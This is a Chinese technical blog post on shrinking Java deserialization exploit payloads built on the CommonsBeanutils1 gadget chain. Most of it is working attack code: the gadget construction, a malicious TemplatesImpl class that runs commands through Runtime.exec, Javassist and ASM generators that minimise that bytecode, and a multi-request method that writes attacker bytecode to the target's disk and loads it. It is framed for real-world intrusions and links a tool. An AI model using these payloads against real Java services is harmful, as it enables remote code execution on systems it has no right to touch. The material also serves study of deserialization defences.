终极Java反序列化Payload缩小技术

简介: 终极Java反序列化Payload缩小技术

介绍

实战中由于各种情况,可能会对反序列化Payload的长度有所限制,因此研究反序列化Payload缩小技术是有意义且必要的

本文以CommonsBeanutils1链为示例,重点在于三部分:

  • 序列化数据本身的缩小
  • 针对TemplatesImpl_bytecodes字节码的缩小
  • 对于执行的代码如何缩小(STATIC代码块)

接下来我将展示如何一步一步地缩小

最终效果能够将YSOSERIAL生成的Payload缩小接近三分之二(从3692长度缩小到1296


YSOSERIAL

首先用YSOSERIAL工具直接生成CB1的链,看看Base64处理后的长度

java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > test.ser


生成后统计长度为:3692

byte[] data = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("test.ser")));
System.out.println(new String(data).length());


构造Gadget

尝试不借助YSOSERIAL直接构造CB1的链

<dependency>
   <groupId>commons-beanutils</groupId>
   <artifactId>commons-beanutils</artifactId>
   <version>1.9.2</version>
</dependency>

构造代码

public static byte[] getPayloadUseByteCodes(byte[] byteCodes) {
   try {
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes});
       setFieldValue(templates, "_name", "HelloTemplatesImpl");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
       final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
       queue.add("1");
       queue.add("1");
       setFieldValue(comparator, "property", "outputProperties");
       setFieldValue(queue, "queue", new Object[]{templates, templates});
       return serialize(queue);
  } catch (Exception e) {
       e.printStackTrace();
  }
   return new byte[]{};
}


恶意类

public class EvilByteCodes extends AbstractTranslet {
   static {
       try {
           Runtime.getRuntime().exec("calc.exe");
      } catch (Exception e) {
           e.printStackTrace();
      }
  }
   @Override
   public void transform(DOM document, SerializationHandler[] handlers) {
  }
   @Override
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
  }
}


读取字节码并设置到Gadget中,序列化后统计长度:2728

相比YSOSERIAL直接生成的,缩小了26.1%

byte[] evilBytesCode = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] my = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));
System.out.println(new String(my).length());


其实上文中还有三处可以优化:

  • 设置_name名称可以是一个字符
  • 其中_tfactory属性可以删除(分析TemplatesImpl得出)
  • 其中EvilByteCodes类捕获异常后无需处理
setFieldValue(templates, "_name", "t");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
try {
   Runtime.getRuntime().exec("calc.exe");
} catch (Exception ignored) {
}

经过这三处优化后得到长度:2608

相比YSOSERIAL直接生成的,缩小了29.3%


从字节码层面优化

上文中的EvilBytesCode恶意类的字节码是可以缩减的

对字节码进行分析:javap -c -l EvilByteCodes.class

public class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
// transform 1
// transform 2
// <init>
// <clint>
static {};
  Code:
      0: invokestatic #2                 // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
      3: ldc           #3                 // String
      5: invokevirtual #4                 // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
      8: pop
      9: goto         13
    12: astore_0
    13: return
  Exception table:
      from   to target type
          0     9   12   Class java/lang/Exception
  LineNumberTable:
    line 11: 0
    line 13: 9
    line 12: 12
    line 14: 13
  LocalVariableTable:
    Start Length Slot Name   Signature
}

可以看出,该类每个方法包含了三部分:

  • 代码对应的字节码
  • ExceptionTable和LocalVariableTable
  • LineNumberTable


有JVM相关的知识可以得知,局部变量表和异常表是不能删除的,否则无法执行

LineNumberTable是可以删除的

换句话来说:LINENUMBER指令可以全部删了


于是我基于ASM实现删除LINENUMBER

byte[] bytes = Files.readAllBytes(Paths.get(path));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[] out = cw.toByteArray();
Files.write(Paths.get(path), out);


ShortClassVisitor

public class ShortClassVisitor extends ClassVisitor {
   private final int api;
   public ShortClassVisitor(int api, ClassVisitor classVisitor) {
       super(api, classVisitor);
       this.api = api;
  }
   @Override
   public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
       MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
       return new ShortMethodAdapter(this.api, mv);
  }
}


重点在于ShortMethodAdapter:如果遇到LINENUMBER指令则阻止传递,可以理解为返回空

public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
   public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
       super(api, methodVisitor);
  }
   @Override
   public void visitLineNumber(int line, Label start) {
       // delete line number
  }
}


读取编译的字节码并处理后替换

Resolver.resolve("/path/to/EvilByteCodes.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());

经过优化后得到长度:1832

相比YSOSERIAL直接生成的,缩小了50.3%


使用Javassist构造

以上代码虽然做到了超过百分之五十的缩小,但存在一个问题:目前的恶意类是写死的,无法动态构造

想要动态构造字节码一种手段是选择ASM做,但有更好的选择:Javassist


通过这样的一个方法,就可以根据输入命令动态构造出Evil

private static byte[] getTemplatesImpl(String cmd) {
   try {
       ClassPool pool = ClassPool.getDefault();
       CtClass ctClass = pool.makeClass("Evil");
       CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
       ctClass.setSuperclass(superClass);
       CtConstructor constructor = ctClass.makeClassInitializer();
       constructor.setBody("       try {\n" +
                           "           Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                           "       } catch (Exception ignored) {\n" +
                           "       }");
       CtMethod ctMethod1 = CtMethod.make("   public void transform(" +
                                          "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                                          "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" +
                                          "   }", ctClass);
       ctClass.addMethod(ctMethod1);
       CtMethod ctMethod2 = CtMethod.make("   public void transform(" +
                                          "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                                          "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
                                          "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" +
                                          "   }", ctClass);
       ctClass.addMethod(ctMethod2);
       byte[] bytes = ctClass.toBytecode();
       ctClass.defrost();
       return bytes;
  } catch (Exception e) {
       e.printStackTrace();
       return new byte[]{};
  }
}


将动态生成的字节码保存至当前目录,再读取加载

String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());


经过优化后得到长度:1848

相比YSOSERIAL直接生成的,缩小了49.9%


不难发现使用Javassist生成的字节码似乎本身就不包含LINENUMBER指令

不过这只是猜测,当我使用上文的删除指令代码优化后,发现进一步缩小了

...
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
...
// 验证Payload是否有效    
Payload.deserialize(Base64.getDecoder().decode(payload));

经过优化后得到长度:1804

相比YSOSERIAL直接生成的,缩小了51.1%

验证Payload有效可以弹出计算器


删除重写方法

可以发现Evil类继承自AbstractTranslet抽象类,所以必须重写两个transform方法

这样写代码会导致编译不通过,无法执行

public class EvilByteCodes extends AbstractTranslet {
   static {
       try {
           Runtime.getRuntime().exec("calc.exe");
      } catch (Exception ignored) {
      }
  }
}


编译不通过不代表非法,通过手段直接构造对应的字节码

(1)通过ASM删除方法

@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
   if (name.equals("transform")) {
       return null;
  }
   MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
   return new ShortMethodAdapter(this.api, mv, name);
}


(2)通过Javassist直接构造

private static byte[] getTemplatesImpl(String cmd) {
   try {
       ClassPool pool = ClassPool.getDefault();
       CtClass ctClass = pool.makeClass("Evil");
       CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
       ctClass.setSuperclass(superClass);
       CtConstructor constructor = ctClass.makeClassInitializer();
       constructor.setBody("       try {\n" +
                           "           Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                           "       } catch (Exception ignored) {\n" +
                           "       }");
       byte[] bytes = ctClass.toBytecode();
       ctClass.defrost();
       return bytes;
  } catch (Exception e) {
       e.printStackTrace();
       return new byte[]{};
  }
}


通过以上手段处理后进行反序列化验证:成功弹出计算器

String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
Payload.deserialize(Base64.getDecoder().decode(payload));


最终优化后得到长度:1332

相比YSOSERIAL直接生成的,缩小了63.9%


并不是所有方法都能删除,比如不存在构造方法的情况下无法删除空参构造

于是有了一个新思路:删除静态代码块,将代码写入空参构造

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make("   public Evil(){\n" +
                                                 "       try {\n" +
                                                 "           Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                                                 "       }catch (Exception ignored){}\n" +
                                                 "   }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;


最终优化后得到长度:1296

相比YSOSERIAL直接生成的,缩小了64.8%


终极技术:分块传输

以上的内容都在围绕字节码和序列化数据的缩小,我认为已经做到的接近极致,很难做到更小的

对于STATIC代码块中需要执行的代码也有缩小手段,这也是更有实战意义是思考,因为实战中不是弹个计算器这么简单


因此可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块

使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件

static {
   try {
       String path = "/your/path";
       // 创建文件
       File file = new File(path);
       file.createNewFile();
       // 传入true是追加方式写文件
       FileOutputStream fos = new FileOutputStream(path, true);
       // 需要写入的数据
       String data = "BASE64_BYTECODES_PART";
       fos.write(data.getBytes());
       fos.close();
  } catch (Exception ignore) {
  }
}


在最后一个包中将字节码进行Base64Decode并写入class文件

(也可以直接写字节码二进制数据,不过个人认为Base64好分割处理一些)

static {
   try {
       String path = "/your/path";
       FileInputStream fis = new FileInputStream(path);
       // size取决于实际情况
       byte[] data = new byte[size];
       fis.read(data);
       // 写入Evil.class
       FileOutputStream fos = new FileOutputStream("Evil.class");
       fos.write(Base64.getDecoder().decode(data));
       fos.close();
  } catch (Exception ignored) {
  }
}


会有师傅产生疑问:为什么要写这么多的代码而不用java.nio.file.Files工具类一行实现读写

其实我一开始就是使用该工具类在做,后来测试发现受用用Stream读写产生的Payload会更小


最后一个包使用URLClassLoader进行加载

注意一个小坑,传入URLClassLoader的路径要以file://开头且以/结尾否则会找不到对应的类

static {
   try {
       String path = "file:///your/path/";
       URL url = new URL(path);
       URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
       Class<?> clazz = urlClassLoader.loadClass("Evil);
       clazz.newInstance();
  } catch (Exception ignored) {
  }
}


代码

我对常见的反序列化链做了总结和测试,效果如下(出了个叛徒)

项目地址:https://github.com/EmYiQing/ShortPayload

相关文章
|
17天前
|
Java
死磕-java并发编程技术(二)
死磕-java并发编程技术(二)
|
17天前
|
存储 Java 调度
死磕-java并发编程技术(一)
死磕-java并发编程技术(一)
|
4天前
|
Java 数据库 对象存储
Java 序列化详解
本文详细解析了Java序列化的概念与应用。通过具体实例,深入探讨了其在对象存储和传输中的作用及实现方法,帮助读者理解如何有效利用这一特性来简化数据交换,并对其实现机制有了更深入的认识。
|
2天前
|
安全 网络协议 Java
Java反序列化漏洞与URLDNS利用链分析
Java反序列化漏洞与URLDNS利用链分析
18 3
|
1天前
|
JSON 缓存 NoSQL
Redis 在线查看序列化对象技术详解
Redis 在线查看序列化对象技术详解
7 2
|
13天前
|
传感器 监控 数据可视化
【Java】智慧工地解决方案源码和所需关键技术
智慧工地解决方案是一种新的工程全生命周期管理理念。它通过使用各种传感器、数传终端等物联网手段获取工程施工过程信息,并上传到云平台,以保障数据安全。
47 7
|
19天前
|
缓存 负载均衡 Dubbo
Dubbo技术深度解析及其在Java中的实战应用
Dubbo是一款由阿里巴巴开源的高性能、轻量级的Java分布式服务框架,它致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。
43 6
|
14天前
|
JSON NoSQL Java
redis的java客户端的使用(Jedis、SpringDataRedis、SpringBoot整合redis、redisTemplate序列化及stringRedisTemplate序列化)
这篇文章介绍了在Java中使用Redis客户端的几种方法,包括Jedis、SpringDataRedis和SpringBoot整合Redis的操作。文章详细解释了Jedis的基本使用步骤,Jedis连接池的创建和使用,以及在SpringBoot项目中如何配置和使用RedisTemplate和StringRedisTemplate。此外,还探讨了RedisTemplate序列化的两种实践方案,包括默认的JDK序列化和自定义的JSON序列化,以及StringRedisTemplate的使用,它要求键和值都必须是String类型。
redis的java客户端的使用(Jedis、SpringDataRedis、SpringBoot整合redis、redisTemplate序列化及stringRedisTemplate序列化)
|
21天前
|
存储 Java 开发者
Java编程中的对象序列化与反序列化
【9月更文挑战第20天】在本文中,我们将探索Java编程中的一个核心概念——对象序列化与反序列化。通过简单易懂的语言和直观的代码示例,你将学会如何将对象状态保存为字节流,以及如何从字节流恢复对象状态。这不仅有助于理解Java中的I/O机制,还能提升你的数据持久化能力。准备好让你的Java技能更上一层楼了吗?让我们开始吧!
|
29天前
|
存储 负载均衡 Java
Jetty技术深度解析及其在Java中的实战应用
【9月更文挑战第3天】Jetty,作为一款开源的、轻量级、高性能的Java Web服务器和Servlet容器,自1995年问世以来,凭借其卓越的性能、灵活的配置和丰富的扩展功能,在Java Web应用开发中占据了举足轻重的地位。本文将详细介绍Jetty的背景、核心功能点以及在Java中的实战应用,帮助开发者更好地理解和利用Jetty构建高效、可靠的Web服务。
45 2